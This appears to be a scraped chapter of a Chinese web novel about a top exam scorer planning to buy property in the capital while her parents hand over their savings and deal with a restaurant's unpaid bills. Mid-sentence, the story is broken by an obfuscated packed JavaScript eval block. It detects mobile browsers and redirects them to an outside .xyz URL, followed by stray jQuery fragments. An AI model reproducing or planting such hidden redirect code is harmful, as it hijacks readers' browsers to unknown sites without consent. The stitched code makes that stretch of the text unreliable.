短暂的暑假结束，就进入了紧张的高三。
楚霏一回来，迎接的是各种试卷、题册，作为年级第一，她被学校寄予厚望，盼望着她能在高考时取得更好的成绩，为学校争光。
一年匆匆而过，仿佛是一眨眼，就到了高考的日子。
楚霏就像对待学校组织的阶段考试一样，没有半点紧张情绪，倒是杨军、余秀紧张得很，高考期间甚至连店都不开了，要不是楚霏反对，他们能在考点外一直等着。
这个年代高考报志愿是先报再出分数的，楚霏的志愿表早就交上去了，只填了京大的汉语言文学，其他的都没填，老师劝过她但没劝动，只能叹着气交上去。
高考结束后，成绩一出来就轰动了小镇，因为省里的文科状元出自镇上，楚霏考了685分，比文科第一批的分数线高出几十分，京大稳稳走了。
学校拉了红色的横幅庆祝，带过她的老师一个个红光满面、走路生风，可谓是兴高采烈极了。
除了学校，镇政府、县政府，乃至市里、省里都给了奖励，加起来也有一万多，这在当下算是一笔巨款了。
要不是他们省属于全国的贫困省，这奖金还能再高些。
因着楚霏，杨军、余秀顿时成了镇上的名人，连带着店里的生意都猛然好了很多，好些人还带着孩子来，念叨着要沾沾才气、喜气。
倒是楚霏，一如既往的平淡，除了抓着即将中考的杨旗临阵磨枪，就是整理东西、看书。
鉴于她的反应，杨军、余秀飘了几天也渐渐冷静了。
“珊珊，有啥要带的、需要买的就说，我和你妈给你准备。”杨军笑呵呵地，一连多日都心情极好。
“这些书都要带，再就是带点换洗衣服和随身物品，其他的去了京市再买。”楚霏心里有成算，这些高考完她就准备起来了，迟疑一下，她道，“就是……我想早些去京市。”
杨军一愣，想到梁家，连声道：“应该的应该的，梁大哥他们肯定也想见你呢！”
这是误会她急着回梁家？
楚霏本来不想多说自己的打算，可为了不被他误会，便解释起来：“不是为这个，分数出来时已经打电话报过喜了，他们这时候都忙，估计也不常在家……我提前去京市，是想置办点房子或是铺子。”
“啊？置办房子或是铺子？”杨军再怎么也没想到她有这打算。
“你才高中毕业，怎么想着置办房子、铺子了？”余秀闻言也过来了，十分诧异地问。
楚霏：“去年暑假去京市时，发现变化挺大的，很多地方都在改旧修新，我觉着国家发展越来越快，京市肯定会加大建设力度，地皮、房子、铺子这些会越来越值钱，现在能买最好买一些。”
她看了眼凑过来竖着耳朵听的杨旗，又道：“杨旗高考也会考京市的学校，如果未来在那里工作，有房子、铺子到底生活得好些。就算他以后不在那里工作，买在京市也不亏，那到底是首都。”
杨军、余秀对视一眼，心里不约而同想到：不止旗娃，这孩子未来八成也会在京市生活吧？
两人心里说不出是什么滋味，有点酸涩，有点理解，那到底是她从小长大的地方，现在凭自己考回去上大学，他们又怎能阻止？
两人和这个年代的众多父母一样，总盼着孩子能在身边，可时代变了，他们也看新闻，理智上明白该放孩子去外面飞，但……
而且，面对杨旗，他们可以理直气壮要求他怎么做，只是对这个孩子，没有从小将她养大，他们没底气要求她这样那样。
楚霏是敏锐，却对感情方面的感知很迟钝，杨珊对此也不那么敏感，所以，她仅是觉得杨军、余秀好似忽然就心情不好了，又看不出来是因为什么。
杨旗这个年纪就更粗心大意了，想着要在京市买房子、铺子，他更多的是兴奋：“姐，买像梁婷婷他们家的那种四合院吗？”
楚霏没有详细问过京市现在的行情，不过以她现有的钱，应该是买不起那样的院子。
“你小子想什么呢？四合院贵着呢，那都是以前达官贵人住过的，哪是普通人买得起的？”杨军拍了儿子脑袋一下。
“就算买得起，恐怕也轮不到咱吧？”余秀也道。
楚霏：“不清楚，等到了京市我问问哥哥，或是梁家爸妈。如果房子买不起，那就买铺子吧，大的买不起，买小的也行。”
杨军、余秀当时没说什么，晚间两人躺在床上时，却真的商量起这事。
“他妈，你说要不要把咱攒着的钱也给闺女，让她去京市置办去？”杨军琢磨着。
“你咋想的？”
杨军清了清嗓子：“我就是想着，珊珊说的也有道理，以后她和旗娃都要去京市过日子，有个房子或是铺子，甭管以后值不值钱，就算租出去，总归也有个进项，咱俩再给些，娃们花钱就宽松些。”
“唉，这以后他们不回来了，就剩咱俩咋办？”余秀忧愁地叹气。
“啥咋办？往后啊，他们结婚了有娃了，需要咱们了就给他们带带娃，不需要了咱们就在这里过日子，只要不是动弹不动，又不用娃们伺候。”
“人老了，总有个头疼脑热的，万一咱们病了呢，娃们又不在身边……”
杨军：“你病了不是有我，我病了还有你，老伴老伴，咱俩相互照顾着，也不用麻烦娃们。”
“可是……人都说‘养儿防老’呢，咱们这……唉！”
“啥‘养儿防老’啊，你瞅瞅这镇上村里的，孝顺的出不出息都孝顺，不孝顺的住隔壁也不带管的，咱们才四十岁，还哪的话呢！”
“罢了，那你算算家里的钱，留点咱们进货周转的，其他的都给珊珊吧。”余秀长叹一声，终是被杨军说服了，“她读书多，又是京市长大的，总比咱有见识得多，听她的吧！”
“哎，我明儿算着看，那餐厅还欠着咱们钱呢，我去问问看能不能要回来些。”
两口子的打算，楚霏并不知道，只是几天后，杨军给了她一个存折。
楚霏：“爸，这是？”
“这是咱家攒的钱，你这次去京市都带上吧，要是买房子、买铺子不够也能填补些。”
“爸，这是你们辛苦攒的，我不能拿。”楚霏连忙拒绝。
这两口子开店做生意，是比村里种地好些，但在这样人口不多、经济不发达的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298159|180148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小镇上，赚得也就是个辛苦钱，卖馍馍、糕点的，起早贪黑揉面、蒸馍、烤点心，不仅费力气，还得在灶房里闷着热着，冬天是暖和了，可夏天多遭罪啊！
前些年因为她换回来，他们掏空了存款买了新房，这才过了两年多，攒这点钱多不容易啊！
“拿着，听爸妈的！”杨军不由分说，硬是塞到了她手里，“你买房子、铺子也是为了家里和旗娃，哪能让你一个人花钱？养家、养旗娃，这是我和你妈做父母的责任，不是你这个姐姐的。”
楚霏抿了抿唇，打开存折一看，上面有两万一千块。
“本来还能再多点的，但餐厅那边欠着钱一直没结，我这两天也去要了，人家说还得走程序、签字啥的，估摸着短期内是要不上了。”
“餐厅欠着钱不结？很长时间了吗？”楚霏蹙眉，她头次听到这个事。
“嗐，之前不是给他们供过那种零散席面上的点心，一桌两桌的量少，就说是隔段时间结一次账……距上次结账，也有个半年了，我就想着去问问啥时候能结。”
“欠钱不给，这餐厅做生意不地道。”
杨军给餐厅说话：“其实也不能怪他们，那一桌两桌的，都是单位的公务接待餐，单位上不给餐厅结账，餐厅就没钱给咱结账，咱家这欠的还是小钱，那餐厅欠菜贩、肉贩他们的才是大头呢！”
楚霏眉头紧蹙：“怎么会这样？”
杨军叹气：“听餐厅那边说，单位上都说经费紧张，给他们结账一直这么拖拉，有的单位今年能把去年的账结了，这都算是快的，有些单位欠了好几年也没结，可后面还在他们那儿订餐，这还不敢拒绝，就怕把人得罪了，以后要账不好要。”
“风气不好。”
“没办法，镇上都这样。”
“爸，要不把那些点心方子一次性卖断给餐厅得了。”
“啊？”
“把点心做法一次性卖给餐厅，他们的白案师傅得了方子就能做出来，这种一桌两桌的他们后厨就能做了，咱们也省了被拖欠账款，两厢都轻松。”
杨军琢磨一会儿，犹豫：“那咱们以后……”
“卖的时候和餐厅说好，咱们虽然把方子卖给他们，但自家还会继续零售，他们面对的是订席面的客人，而咱们面对的是零称散买的散客，与他们并没有什么冲突。”
杨军权衡一下，有了决定：“行，那我去跟他们谈，就算价格低一些，往后到底省事了。”
楚霏点头，就是这个道理，与其被对方不断赊欠，倒不如这样一劳永逸。
“我之前不是搜集了好些点心方子回来？你和妈有空了不妨试着做做，能做成一种就能多卖一种。”
“一旦做成了，我们还可以给餐厅卖方子？”
楚霏笑着颔首：“对，就是这样。”
杨军笑出一口牙：“这主意不错，点心品种多了，我和你妈每样都做也累，每天也未必能全卖出去，可做出了成品，再给餐厅卖点心方子，这就省事多了。”
其实还是镇上太小了，他们的店开在更大的城市，人口更多的地方，才能赚得更多。眼下先这么折腾着吧，往后……往后再看吧！